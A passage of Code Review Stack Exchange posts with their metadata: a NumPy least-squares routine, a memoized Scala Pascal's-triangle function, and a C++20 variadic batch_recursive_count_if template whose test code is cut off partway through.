<p>I have implemented a program that carries out ordinary least squares in raw python (but using numpy arrays rather than lists). I would like for my code to be critiqued by the community.</p> <p>What is a faster/more efficient way to implement ordinary least squares than what I have done in my code snippet below?</p> <p>The assumption is that there is one feature dimension. (A.T * A is 2 X 2)</p> <p>My goal is to implement this in C, and then the parallel-izable parts in CUDA C</p> <pre><code> mat = np.array([ [1.,1.], [1.,2.], [1.,3.], ]) arr = np.array([ [1., 2., 4.] ]).T def least_squares(mat, arr): #matrix for A.T * A new_arr = np.array([ [0.,0.], [0.,0.] ]) #Right hand side vector new_right = np.array([ [0., 0.] ]).T #Solution Vector x_hat = np.array([ [0., 0.] ]).T #Calculate A.T * A for i in range(3): new_right[0][0] += mat[i][0] * arr[i] new_right[1][0] += mat[i][1] * arr[i] for j in range(2): new_arr[0][j] += mat[i][0] * mat[i][j] new_arr[1][j] += mat[i][1] * mat[i][j] #Perform Elimination on A.T * A &amp; right side b row_multiple = new_arr[1][0]/new_arr[0][0] new_arr[1] -= (row_multiple)*new_arr[0] new_right[1,0] -= row_multiple*new_right[0,0] #Solve for x-hat x_hat[1,0] = new_right[1,0] / new_arr[1,1] x_hat[0,0] = (new_right[0,0] - new_arr[0,1]*(new_right[1,0] / new_arr[1,1])) / new_arr[0,0] return x_hat </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T00:46:31.433", "Id": "257553", "Score": "0", "Tags": [ "python" ], "Title": "Guidance to implement Ordinary least squares more efficiently" }
257553
<p>Follow up to <a href="https://codereview.stackexchange.com/questions/257413/efficiently-calculate-value-of-pascals-triangle-using-memoization-and-recursion">Efficiently calculate value of Pascal&#39;s Triangle using memoization and recursion</a></p> <p>Based on feedback given by jvwh in the answers</p> <pre><code>def pascal(c: Int, r: Int): Int = { if (c &lt; 0 || r &lt; 0 || c &gt; r) throw new IllegalArgumentException() // use a cache; map (c,r) pair to value // fill in value recursively val cache: mutable.Map[(Int, Int), Int] = (0 to r).flatMap(n =&gt; Seq((0, n) -&gt; 1, (n, n) -&gt; 1)) .to(collection.mutable.Map) def getPascalValue(c: Int, r: Int): Int = cache.getOrElseUpdate((c,r), getPascalValue(c, r-1) + getPascalValue(c-1, r-1)) getPascalValue(c,r) } </code></pre> <p>Adds obvious handling of invariants, flatMap method to populate the edges with 1 values rather then a for loop. Key difference is it uses a mutable map that saves previous values. Run time for <code>pascal(5, 105)</code> dropped from around 20s to 3ms. Pretty happy with the efficiency but more feedback is definitely welcome</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T01:45:34.737", "Id": "508802", "Score": "1", "body": "Just FYI. After staring at a Pascal Triangle for a few hours I came up with a [very different solution](https://scastie.scala-lang.org/hFu1Q7K2QYqIJjVRp0rajg)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-03T07:57:47.407", "Id": "510811", "Score": "0", "body": "This is not a full review, only a small comment: you tagged this with [tag:functional-programming], and in your previous question, you mentioned FP. However, in your previous version, you were using a mutable variable, and here, you are using a mutable data structure. Both are very much the *opposite* of FP. Check out @jwvh's [comment](https://codereview.stackexchange.com/questions/257554/efficiently-calculate-value-of-pascals-triangle-using-memoization-and-recursion#comment508802_257554) and [the linked code](https://scastie.scala-lang.org/hFu1Q7K2QYqIJjVRp0rajg) for a much more FP approach." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-11T18:29:42.943", "Id": "511572", "Score": "0", "body": "@jwvh Perhaps it may be better to [pull the LazyList out](https://scastie.scala-lang.org/EMmTsM2jSlKrDcXrm1djmg) so it doesn't get recomputed each time? (The compiler doesn't automatically do that, does it?)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-13T07:29:26.873", "Id": "511733", "Score": "1", "body": "@user; The purpose of my comment, and link, was to demonstrate an alternative approach in a clear and concise manner, without introducing ancillary concepts and complications. That being said, you're absolutely right, holding on to the head of a `LazyList` enables memoization, which can be a significant efficiency boost." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T02:46:34.477", "Id": "257554", "Score": "0", "Tags": [ "recursion", "functional-programming", "scala", "dynamic-programming", "memoization" ], "Title": "Efficiently calculate value of Pascal's Triangle using memoization and recursion(updated)" }
257554
<p>This is a follow-up question for <a href="https://codereview.stackexchange.com/q/252053/231235">A recursive_count_if Function For Various Type Arbitrary Nested Iterable Implementation in C++</a> and <a href="https://codereview.stackexchange.com/q/252404/231235">A recursive_count_if Function with Unwrap Level for Various Type Arbitrary Nested Iterable Implementation in C++</a>. The function <code>recursive_count_if</code> is Implemented with <strong>a <code>std::ranges::range</code> input</strong> and <strong>a predicate</strong>. I am attempting to implement a function <code>batch_recursive_count_if</code> in order to handle the use cases of multiple predicates (as the example as below) via <a href="https://en.cppreference.com/w/cpp/language/parameter_pack" rel="nofollow noreferrer">template parameter pack</a> technique.</p> <pre><code>auto predicator1 = [](auto&amp; i) {return i == 1; }; auto predicator2 = [](auto&amp; i) {return i == 2; }; auto predicator3 = [](auto&amp; i) {return i == 3; }; auto predicator4 = [](auto&amp; i) {return i == 4; }; auto predicator5 = [](auto&amp; i) {return i == 5; }; auto predicator6 = [](auto&amp; i) {return i == 6; }; auto predicator7 = [](auto&amp; i) {return i == 7; }; auto predicator8 = [](auto&amp; i) {return i == 8; }; auto predicator9 = [](auto&amp; i) {return i == 9; }; auto predicator10 = [](auto&amp; i) {return i == 10; }; </code></pre> <p>The API shape is like <code>std::vector&lt;int&gt; counts = batch_recursive_count_if&lt;unwrap_level&gt;(ranges, predicate1, predicate2, predicate3, ...);</code> which includes the extended the predicate parameters and the return type is a <code>std::vector</code> (to represent a sequence of output which is the result of each predicate).</p> <p><strong>The experimental implementation</strong></p> <pre><code>// recursive_count_if implementation (the version with unwrap_level) template&lt;std::size_t unwrap_level = 1, std::ranges::range T, class Pred&gt; auto recursive_count_if(const T&amp; input, const Pred&amp; predicate) { if constexpr (unwrap_level &gt; 1) { return std::transform_reduce(std::ranges::cbegin(input), std::ranges::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [predicate](auto&amp;&amp; element) { return recursive_count_if&lt;unwrap_level - 1&gt;(element, predicate); }); } else { return std::count_if(std::ranges::cbegin(input), std::ranges::cend(input), predicate); } } // batch_recursive_count_if implementation (the version with unwrap_level) template&lt;std::size_t unwrap_level = 1, std::ranges::range T, class Pred1&gt; constexpr auto batch_recursive_count_if(const T&amp; input, const Pred1&amp; predicate1) { std::vector&lt;decltype(recursive_count_if&lt;unwrap_level&gt;(input, predicate1))&gt; output; output.push_back(recursive_count_if&lt;unwrap_level&gt;(input, predicate1)); return output; } template&lt;std::size_t unwrap_level = 1, std::ranges::range T, class Pred1, class... Preds&gt; constexpr auto batch_recursive_count_if(const T&amp; input, const Pred1&amp; predicate1, const Preds&amp;... predicates) { auto output1 = batch_recursive_count_if&lt;unwrap_level&gt;(input, predicate1); auto output2 = batch_recursive_count_if&lt;unwrap_level&gt;(input, predicates...); output1.insert(std::ranges::cend(output1), std::ranges::cbegin(output2), std::ranges::cend(output2)); return output1; } </code></pre> <p><strong>Test cases</strong></p> <p>The test cases below include:</p> <ul> <li><p>Counting <code>int</code> element in <code>std::vector&lt;std::vector&lt;int&gt;&gt;</code> which is equal to specified number.</p> </li> <li><p>Counting <code>int</code> element in <code>std::deque&lt;std::deque&lt;int&gt;&gt;</code> which is equal to specified number.</p> </li> <li><p>Counting <code>std::string</code> element in <code>std::vector&lt;std::vector&lt;std::string&gt;&gt;</code> which is equal to specified string.</p> </li> <li><p>Counting <code>std::vector&lt;std::vector&lt;int&gt;&gt;</code> element in <code>std::vector&lt;std::vector&lt;std::vector&lt;int&gt;&gt;&gt;</code> which is equal to specified pattern.</p> </li> </ul> <pre><code>// std::vector&lt;std::vector&lt;int&gt;&gt; case std::cout &lt;&lt; &quot;std::vector&lt;std::vector&lt;int&gt;&gt; case:&quot; &lt;&lt; '\n'; std::vector&lt;int&gt; test_vector{ 1, 2, 3, 4, 4, 3, 7, 8, 9, 10 }; std::vector&lt;decltype(test_vector)&gt; test_vector2; test_vector2.push_back(test_vector); test_vector2.push_back(test_vector); test_vector2.push_back(test_vector); // use lambda expressions to count the elements which is equal to 1 to 10. auto predicator1 = [](auto&amp; i) {return i == 1; }; std::cout &lt;&lt; &quot;#number is 1: &quot; &lt;&lt; recursive_count_if&lt;2&gt;(test_vector2, predicator1) &lt;&lt; '\n'; auto predicator2 = [](auto&amp; i) {return i == 2; }; auto predicator3 = [](auto&amp; i) {return i == 3; }; auto predicator4 = [](auto&amp; i) {return i == 4; }; auto predicator5 = [](auto&amp; i) {return i == 5; }; auto predicator6 = [](auto&amp; i) {return i == 6; }; auto predicator7 = [](auto&amp; i) {return i == 7; }; auto predicator8 = [](auto&amp; i) {return i == 8; }; auto predicator9 = [](auto&amp; i) {return i == 9; }; auto predicator10 = [](auto&amp; i) {return i == 10; }; auto batch_output1 = batch_recursive_count_if&lt;2&gt;(test_vector2, predicator1, predicator2, predicator3, predicator4, predicator5, predicator6, predicator7, predicator8, predicator9, predicator10); std::cout &lt;&lt; &quot;Each element in batch_output1: &quot; &lt;&lt; '\n'; for (auto&amp; element : batch_output1) { std::cout &lt;&lt; element &lt;&lt; '\n'; } std::cout &lt;&lt; '\n'; // std::deque&lt;std::deque&lt;int&gt;&gt; case std::cout &lt;&lt; &quot;std::deque&lt;std::deque&lt;int&gt;&gt; case:&quot; &lt;&lt; '\n'; std::deque&lt;int&gt; test_deque; test_deque.push_back(1); test_deque.push_back(2); test_deque.push_back(3); std::deque&lt;decltype(test_deque)&gt; test_deque2; test_deque2.push_back(test_deque); test_deque2.push_back(test_deque); test_deque2.push_back(test_deque); // use lambda expressions to count the elements which is equal to 1 to 10. std::cout &lt;&lt; &quot;#number is 1: &quot; &lt;&lt; recursive_count_if&lt;2&gt;(test_deque2, predicator1) &lt;&lt; '\n'; auto batch_output2 = batch_recursive_count_if&lt;2&gt;(test_deque2, predicator1, predicator2, predicator3, predicator4, predicator5, predicator6, predicator7, predicator8, predicator9, predicator10); std::cout &lt;&lt; &quot;Each element in batch_output1: &quot; &lt;&lt; '\n'; for (auto&amp; element : batch_output2) { std::cout &lt;&lt; element &lt;&lt; '\n'; } std::cout &lt;&lt; '\n'; // std::vector&lt;std::vector&lt;std::string&gt;&gt; case std::cout &lt;&lt; &quot;std::vector&lt;std::vector&lt;std::string&gt;&gt;:&quot; &lt;&lt; '\n'; std::vector&lt;std::vector&lt;std::string&gt;&gt; v = { {&quot;hello&quot;}, {&quot;world&quot;} }; auto is_hello = [](auto&amp; i) { return i == &quot;hello&quot;; }; auto is_world = [](auto&amp; i) { return i == &quot;world&quot;; }; std::cout &lt;&lt; &quot;recursive_count_if output of is_hello:&quot; &lt;&lt; recursive_count_if&lt;2&gt;(v, is_hello) &lt;&lt; std::endl; auto batch_output3 = batch_recursive_count_if&lt;2&gt;(v, is_hello, is_world); std::cout &lt;&lt; &quot;Each element in batch_output1: &quot; &lt;&lt; '\n'; for (auto&amp; element : batch_output3) { std::cout &lt;&lt; element &lt;&lt; '\n'; } std::cout &lt;&lt; '\n'; // Count specific std::vector&lt;std::vector&lt;int&gt;&gt; element in std::vector&lt;std::vector&lt;std::vector&lt;int&gt;&gt;&gt; case std::cout &lt;&lt; &quot;Count specific std::vector&lt;std::vector&lt;int&gt;&gt; element in std::vector&lt;std::vector&lt;std::vector&lt;int&gt;&gt;&gt; case:&quot; &lt;&lt; std::endl; std::vector&lt;decltype(test_vector2)&gt; test_vector3; for (size_t i = 0; i &lt; 3; i++) { test_vector3.push_back(test_vector2); } auto batch_output4 = batch_recursive_count_if&lt;1&gt;(test_vector3, [test_vector2](auto&amp; element) { if (element.size() != test_vector2.size()) { return false; } return std::equal(element.begin(), element.end(), test_vector2.begin()); }, [test_vector2](auto&amp; element) { auto vector_for_comparison = test_vector2; vector_for_comparison.push_back(std::vector&lt;int&gt;{12, 2, 3}); if (element.size() != vector_for_comparison.size()) { return false; } return std::equal(vector_for_comparison.begin(), vector_for_comparison.end(), vector_for_comparison.begin()); }); for (auto&amp; element : batch_output4) { std::cout &lt;&lt; element &lt;&lt; '\n'; } std::cout &lt;&lt; '\n'; </code></pre> <p>The output of the test code above:</p> <pre><code>std::vector&lt;std::vector&lt;int&gt;&gt; case: #number is 1: 3 Each element in batch_output1: 3 3 6 6 0 0 3 3 3 3 std::deque&lt;std::deque&lt;int&gt;&gt; case: #number is 1: 3 Each element in batch_output1: 3 3 3 0 0 0 0 0 0 0 std::vector&lt;std::vector&lt;std::string&gt;&gt;: recursive_count_if output of is_hello:1 Each element in batch_output1: 1 1 Count specific std::vector&lt;std::vector&lt;int&gt;&gt; element in std::vector&lt;std::vector&lt;std::vector&lt;int&gt;&gt;&gt; case: 3 0 </code></pre> <p></p> <b>Full Testing Code</b> <p> <p>The full testing code:</p> <pre><code>// A batch_recursive_count_if Function with Unwrap Level for Various Type Arbitrary Nested Iterable Implementation in C++ #include &lt;algorithm&gt; #include &lt;array&gt; #include &lt;cassert&gt; #include &lt;chrono&gt; #include &lt;complex&gt; #include &lt;concepts&gt; #include &lt;deque&gt; #include &lt;execution&gt; #include &lt;exception&gt; #include &lt;functional&gt; #include &lt;iostream&gt; #include &lt;iterator&gt; #include &lt;list&gt; #include &lt;map&gt; #include &lt;mutex&gt; #include &lt;numeric&gt; #include &lt;optional&gt; #include &lt;ranges&gt; #include &lt;stdexcept&gt; #include &lt;string&gt; #include &lt;tuple&gt; #include &lt;type_traits&gt; #include &lt;utility&gt; #include &lt;variant&gt; #include &lt;vector&gt; //#define USE_BOOST_MULTIDIMENSIONAL_ARRAY #ifdef USE_BOOST_MULTIDIMENSIONAL_ARRAY #include &lt;boost/multi_array.hpp&gt; #include &lt;boost/multi_array/algorithm.hpp&gt; #include &lt;boost/multi_array/base.hpp&gt; #include &lt;boost/multi_array/collection_concept.hpp&gt; #endif template&lt;typename T&gt; concept is_back_inserterable = requires(T x) { std::back_inserter(x); }; template&lt;typename T&gt; concept is_inserterable = requires(T x) { std::inserter(x, std::ranges::end(x)); }; template&lt;typename T&gt; concept is_minusable = requires(T x) { x - x; }; template&lt;typename T1, typename T2&gt; concept is_minusable2 = requires(T1 x1, T2 x2) { x1 - x2; }; #ifdef USE_BOOST_MULTIDIMENSIONAL_ARRAY template&lt;typename T&gt; concept is_multi_array = requires(T x) { x.num_dimensions(); x.shape(); boost::multi_array(x); }; #endif template&lt;typename T1, typename T2&gt; concept is_std_powable = requires(T1 x1, T2 x2) { std::pow(x1, x2); }; // recursive_depth function implementation template&lt;typename T&gt; constexpr std::size_t recursive_depth() { return 0; } template&lt;std::ranges::input_range Range&gt; constexpr std::size_t recursive_depth() { return recursive_depth&lt;std::ranges::range_value_t&lt;Range&gt;&gt;() + 1; } // recursive_count implementation // recursive_count implementation (the version with unwrap_level) template&lt;std::size_t unwrap_level, class T&gt; constexpr auto recursive_count(const T&amp; input, const auto&amp; target) { if constexpr (unwrap_level &gt; 0) { static_assert(unwrap_level &lt;= recursive_depth&lt;T&gt;(), &quot;unwrap level higher than recursion depth of input&quot;); return std::transform_reduce(std::ranges::cbegin(input), std::ranges::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [&amp;target](auto&amp;&amp; element) { return recursive_count&lt;unwrap_level - 1&gt;(element, target); }); } else { return (input == target) ? 1 : 0; } } // recursive_count implementation (the version without unwrap_level) template&lt;std::ranges::input_range Range&gt; constexpr auto recursive_count(const Range&amp; input, const auto&amp; target) { return recursive_count&lt;recursive_depth&lt;Range&gt;()&gt;(input, target); } // recursive_count implementation (with execution policy) template&lt;class ExPo, std::ranges::input_range Range, typename T&gt; requires (std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt;) constexpr auto recursive_count(ExPo execution_policy, const Range&amp; input, const T&amp; target) { return std::count(execution_policy, std::ranges::cbegin(input), std::ranges::cend(input), target); } template&lt;class ExPo, std::ranges::input_range Range, typename T&gt; requires (std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt;) &amp;&amp; (std::ranges::input_range&lt;std::ranges::range_value_t&lt;Range&gt;&gt;) constexpr auto recursive_count(ExPo execution_policy, const Range&amp; input, const T&amp; target) { return std::transform_reduce(execution_policy, std::ranges::cbegin(input), std::ranges::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [execution_policy, target](auto&amp;&amp; element) { return recursive_count(execution_policy, element, target); }); } // recursive_count_if implementation template&lt;class T, std::invocable&lt;T&gt; Pred&gt; constexpr std::size_t recursive_count_if(const T&amp; input, const Pred&amp; predicate) { return predicate(input) ? 1 : 0; } template&lt;std::ranges::input_range Range, class Pred&gt; requires (!std::invocable&lt;Pred, Range&gt;) constexpr auto recursive_count_if(const Range&amp; input, const Pred&amp; predicate) { return std::transform_reduce(std::ranges::cbegin(input), std::ranges::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [predicate](auto&amp;&amp; element) { return recursive_count_if(element, predicate); }); } // recursive_count_if implementation (with execution policy) template&lt;class ExPo, class T, std::invocable&lt;T&gt; Pred&gt; requires (std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt;) constexpr std::size_t recursive_count_if(ExPo execution_policy, const T&amp; input, const Pred&amp; predicate) { return predicate(input) ? 1 : 0; } template&lt;class ExPo, std::ranges::input_range Range, class Pred&gt; requires ((std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt;) &amp;&amp; (!std::invocable&lt;Pred, Range&gt;)) constexpr auto recursive_count_if(ExPo execution_policy, const Range&amp; input, const Pred&amp; predicate) { return std::transform_reduce(execution_policy, std::ranges::cbegin(input), std::ranges::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [predicate](auto&amp;&amp; element) { return recursive_count_if(element, predicate); }); } // recursive_count_if implementation (the version with unwrap_level) template&lt;std::size_t unwrap_level = 1, std::ranges::range T, class Pred&gt; auto recursive_count_if(const T&amp; input, const Pred&amp; predicate) { if constexpr (unwrap_level &gt; 1) { return std::transform_reduce(std::ranges::cbegin(input), std::ranges::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [predicate](auto&amp;&amp; element) { return recursive_count_if&lt;unwrap_level - 1&gt;(element, predicate); }); } else { return std::count_if(std::ranges::cbegin(input), std::ranges::cend(input), predicate); } } // batch_recursive_count_if implementation (the version with unwrap_level) template&lt;std::size_t unwrap_level = 1, std::ranges::range T, class Pred1&gt; constexpr auto batch_recursive_count_if(const T&amp; input, const Pred1&amp; predicate1) { std::vector&lt;decltype(recursive_count_if&lt;unwrap_level&gt;(input, predicate1))&gt; output; output.push_back(recursive_count_if&lt;unwrap_level&gt;(input, predicate1)); return output; } template&lt;std::size_t unwrap_level = 1, std::ranges::range T, class Pred1, class... Preds&gt; constexpr auto batch_recursive_count_if(const T&amp; input, const Pred1&amp; predicate1, const Preds&amp;... predicates) { auto output1 = batch_recursive_count_if&lt;unwrap_level&gt;(input, predicate1); auto output2 = batch_recursive_count_if&lt;unwrap_level&gt;(input, predicates...); output1.insert(std::ranges::cend(output1), std::ranges::cbegin(output2), std::ranges::cend(output2)); return output1; } // recursive_max implementation template&lt;std::totally_ordered T&gt; constexpr auto recursive_max(T number) { return number; } template&lt;std::ranges::range T&gt; constexpr auto recursive_max(const T&amp; numbers) { auto maxValue = recursive_max(numbers.at(0)); for (auto&amp; element : numbers) { maxValue = std::max(maxValue, recursive_max(element)); } return maxValue; } // recursive_print implementation template&lt;typename T&gt; constexpr void recursive_print(const T&amp; input, const std::size_t level = 0) { std::cout &lt;&lt; std::string(level, ' ') &lt;&lt; input &lt;&lt; '\n'; } template&lt;std::ranges::input_range Range&gt; constexpr void recursive_print(const Range&amp; input, const std::size_t level = 0) { std::cout &lt;&lt; std::string(level, ' ') &lt;&lt; &quot;Level &quot; &lt;&lt; level &lt;&lt; &quot;:&quot; &lt;&lt; std::endl; std::ranges::for_each(input, [level](auto&amp;&amp; element) { recursive_print(element, level + 1); }); } // recursive_size implementation template&lt;class T&gt; requires (!std::ranges::range&lt;T&gt;) constexpr auto recursive_size(const T&amp; input) { return 1; } template&lt;std::ranges::range Range&gt; requires (!(std::ranges::input_range&lt;std::ranges::range_value_t&lt;Range&gt;&gt;)) constexpr auto recursive_size(const Range&amp; input) { return std::ranges::size(input); } template&lt;std::ranges::range Range&gt; requires (std::ranges::input_range&lt;std::ranges::range_value_t&lt;Range&gt;&gt;) constexpr auto recursive_size(const Range&amp; input) { return std::transform_reduce(std::ranges::begin(input), std::end(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [](auto&amp; element) { return recursive_size(element); }); } // recursive_reduce implementation // Reference: https://codereview.stackexchange.com/a/251310/231235 template&lt;class T, class ValueType, class Function = std::plus&lt;ValueType&gt;&gt; constexpr auto recursive_reduce(const T&amp; input, ValueType init, const Function&amp; f) { return f(init, input); } template&lt;std::ranges::range Container, class ValueType, class Function = std::plus&lt;ValueType&gt;&gt; constexpr auto recursive_reduce(const Container&amp; input, ValueType init, const Function&amp; f = std::plus&lt;ValueType&gt;()) { for (const auto&amp; element : input) { auto result = recursive_reduce(element, ValueType{}, f); init = f(init, result); } return init; } template&lt;typename T&gt; concept is_recursive_reduceable = requires(T x) { recursive_reduce(x, T{}); }; template&lt;typename T&gt; concept is_recursive_sizeable = requires(T x) { recursive_size(x); }; // arithmetic_mean implementation template&lt;class T = double, is_recursive_sizeable Container&gt; constexpr auto arithmetic_mean(const Container&amp; input) { if (recursive_size(input) == 0) // Check the case of dividing by zero exception { throw std::logic_error(&quot;Divide by zero exception&quot;); // Handle the case of dividing by zero exception } return (recursive_reduce(input, T{})) / (recursive_size(input)); } // recursive_invoke_result_t implementation template&lt;typename, typename&gt; struct recursive_invoke_result { }; template&lt;typename T, std::invocable&lt;T&gt; F&gt; struct recursive_invoke_result&lt;F, T&gt; { using type = std::invoke_result_t&lt;F, T&gt;; }; template&lt;typename F, template&lt;typename...&gt; typename Container, typename... Ts&gt; requires ( !std::invocable&lt;F, Container&lt;Ts...&gt;&gt;&amp;&amp; std::ranges::input_range&lt;Container&lt;Ts...&gt;&gt;&amp;&amp; requires { typename recursive_invoke_result&lt;F, std::ranges::range_value_t&lt;Container&lt;Ts...&gt;&gt;&gt;::type; }) struct recursive_invoke_result&lt;F, Container&lt;Ts...&gt;&gt; { using type = Container&lt;typename recursive_invoke_result&lt;F, std::ranges::range_value_t&lt;Container&lt;Ts...&gt;&gt;&gt;::type&gt;; }; template&lt;typename F, typename T&gt; using recursive_invoke_result_t = typename recursive_invoke_result&lt;F, T&gt;::type; // recursive_transform implementation template &lt;class T, std::invocable&lt;T&gt; F&gt; constexpr auto recursive_transform(const T&amp; input, const F&amp; f) { return f(input); } template &lt; std::ranges::input_range Range, class F&gt; requires (!std::invocable&lt;F, Range&gt;) constexpr auto recursive_transform(const Range&amp; input, const F&amp; f) { recursive_invoke_result_t&lt;F, Range&gt; output{}; std::ranges::transform( std::ranges::cbegin(input), std::ranges::cend(input), std::inserter(output, std::ranges::end(output)), [&amp;f](auto&amp;&amp; element) { return recursive_transform(element, f); } ); return output; } // recursive_copy_if function template &lt;std::ranges::input_range Range, std::invocable&lt;std::ranges::range_value_t&lt;Range&gt;&gt; UnaryPredicate&gt; constexpr auto recursive_copy_if(const Range&amp; input, const UnaryPredicate&amp; unary_predicate) { Range output{}; std::ranges::copy_if(std::ranges::cbegin(input), std::ranges::cend(input), std::inserter(output, std::ranges::end(output)), unary_predicate); return output; } template &lt; std::ranges::input_range Range, class UnaryPredicate&gt; requires (!std::invocable&lt;UnaryPredicate, std::ranges::range_value_t&lt;Range&gt;&gt;) constexpr auto recursive_copy_if(const Range&amp; input, const UnaryPredicate&amp; unary_predicate) { Range output{}; std::ranges::transform( std::ranges::cbegin(input), std::ranges::cend(input), std::inserter(output, std::ranges::end(output)), [&amp;unary_predicate](auto&amp;&amp; element) { return recursive_copy_if(element, unary_predicate); } ); return output; } // recursive_transform_reduce implementation template&lt;class Input, class T, class UnaryOp, class BinaryOp = std::plus&lt;T&gt;&gt; constexpr auto recursive_transform_reduce(const Input&amp; input, T init, const UnaryOp&amp; unary_op, const BinaryOp&amp; binop = std::plus&lt;T&gt;()) { return binop(init, unary_op(input)); } template&lt;std::ranges::range Input, class T, class UnaryOp, class BinaryOp = std::plus&lt;T&gt;&gt; constexpr auto recursive_transform_reduce(const Input&amp; input, T init, const UnaryOp&amp; unary_op, const BinaryOp&amp; binop = std::plus&lt;T&gt;()) { return std::transform_reduce(std::ranges::begin(input), std::end(input), init, binop, [&amp;](auto&amp; element) { return recursive_transform_reduce(element, T{}, unary_op, binop); }); } // With execution policy template&lt;class ExPo, class Input, class T, class UnaryOp, class BinaryOp = std::plus&lt;T&gt;&gt; //requires (std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt;) constexpr auto recursive_transform_reduce(ExPo execution_policy, const Input&amp; input, T init, const UnaryOp&amp; unary_op, const BinaryOp&amp; binop = std::plus&lt;T&gt;()) { return binop(init, unary_op(input)); } template&lt;class ExPo, std::ranges::range Input, class T, class UnaryOp, class BinaryOp = std::plus&lt;T&gt;&gt; requires (std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt;) constexpr auto recursive_transform_reduce(ExPo execution_policy, const Input&amp; input, T init, const UnaryOp&amp; unary_op, const BinaryOp&amp; binop = std::plus&lt;T&gt;()) { return std::transform_reduce(execution_policy, std::ranges::begin(input), std::end(input), init, binop, [&amp;](auto&amp; element) { return recursive_transform_reduce(execution_policy, element, T{}, unary_op, binop); }); } template&lt;typename T&gt; concept can_calculate_variance_of = requires(const T &amp; value) { (std::pow(value, 2) - value) / std::size_t{ 1 }; }; template&lt;typename T&gt; struct recursive_iter_value_t_detail { using type = T; }; template &lt;std::ranges::range T&gt; struct recursive_iter_value_t_detail&lt;T&gt; : recursive_iter_value_t_detail&lt;std::iter_value_t&lt;T&gt;&gt; { }; template&lt;typename T&gt; using recursive_iter_value_t = typename recursive_iter_value_t_detail&lt;T&gt;::type; // population_variance function implementation (with recursive_transform_reduce template function) template&lt;class T = double, is_recursive_sizeable Container&gt; requires (can_calculate_variance_of&lt;recursive_iter_value_t&lt;Container&gt;&gt;) constexpr auto population_variance(const Container&amp; input) { if (recursive_size(input) == 0) // Check the case of dividing by zero exception { throw std::logic_error(&quot;Divide by zero exception&quot;); // Handle the case of dividing by zero exception } auto mean = arithmetic_mean&lt;T&gt;(input); return recursive_transform_reduce(std::execution::par, input, T{}, [mean](auto&amp; element) { return std::pow(element - mean, 2); }, std::plus&lt;T&gt;()) / recursive_size(input); } // population_standard_deviation implementation template&lt;class T = double, is_recursive_sizeable Container&gt; requires (can_calculate_variance_of&lt;recursive_iter_value_t&lt;Container&gt;&gt;) constexpr auto population_standard_deviation(const Container&amp; input) { if (recursive_size(input) == 0) // Check the case of dividing by zero exception { throw std::logic_error(&quot;Divide by zero exception&quot;); // Handle the case of dividing by zero exception } return std::pow(population_variance(input), 0.5); } template&lt;std::size_t dim, class T&gt; constexpr auto n_dim_vector_generator(T input, std::size_t times) { if constexpr (dim == 0) { return input; } else { auto element = n_dim_vector_generator&lt;dim - 1&gt;(input, times); std::vector&lt;decltype(element)&gt; output(times, element); return output; } } template&lt;std::size_t dim, std::size_t times, class T&gt; constexpr auto n_dim_array_generator(T input) { if constexpr (dim == 0) { return input; } else { auto element = n_dim_array_generator&lt;dim - 1, times&gt;(input); std::array&lt;decltype(element), times&gt; output; std::fill(std::ranges::begin(output), std::ranges::end(output), element); return output; } } template&lt;std::size_t dim, class T&gt; constexpr auto n_dim_deque_generator(T input, std::size_t times) { if constexpr (dim == 0) { return input; } else { auto element = n_dim_deque_generator&lt;dim - 1&gt;(input, times); std::deque&lt;decltype(element)&gt; output(times, element); return output; } } template&lt;std::size_t dim, class T&gt; constexpr auto n_dim_list_generator(T input, std::size_t times) { if constexpr (dim == 0) { return input; } else { auto element = n_dim_list_generator&lt;dim - 1&gt;(input, times); std::list&lt;decltype(element)&gt; output(times, element); return output; } } template&lt;std::size_t dim, template&lt;class...&gt; class Container = std::vector, class T&gt; constexpr auto n_dim_container_generator(T input, std::size_t times) { if constexpr (dim == 0) { return input; } else { return Container(times, n_dim_container_generator&lt;dim - 1, Container, T&gt;(input, times)); } } void batch_recursive_count_if_test1(); int main() { batch_recursive_count_if_test1(); return 0; } void batch_recursive_count_if_test1() { // std::vector&lt;std::vector&lt;int&gt;&gt; case std::cout &lt;&lt; &quot;std::vector&lt;std::vector&lt;int&gt;&gt; case:&quot; &lt;&lt; '\n'; std::vector&lt;int&gt; test_vector{ 1, 2, 3, 4, 4, 3, 7, 8, 9, 10 }; std::vector&lt;decltype(test_vector)&gt; test_vector2; test_vector2.push_back(test_vector); test_vector2.push_back(test_vector); test_vector2.push_back(test_vector); // use lambda expressions to count the elements which is equal to 1 to 10. auto predicator1 = [](auto&amp; i) {return i == 1; }; std::cout &lt;&lt; &quot;#number is 1: &quot; &lt;&lt; recursive_count_if&lt;2&gt;(test_vector2, predicator1) &lt;&lt; '\n'; auto predicator2 = [](auto&amp; i) {return i == 2; }; auto predicator3 = [](auto&amp; i) {return i == 3; }; auto predicator4 = [](auto&amp; i) {return i == 4; }; auto predicator5 = [](auto&amp; i) {return i == 5; }; auto predicator6 = [](auto&amp; i) {return i == 6; }; auto predicator7 = [](auto&amp; i) {return i == 7; }; auto predicator8 = [](auto&amp; i) {return i == 8; }; auto predicator9 = [](auto&amp; i) {return i == 9; }; auto predicator10 = [](auto&amp; i) 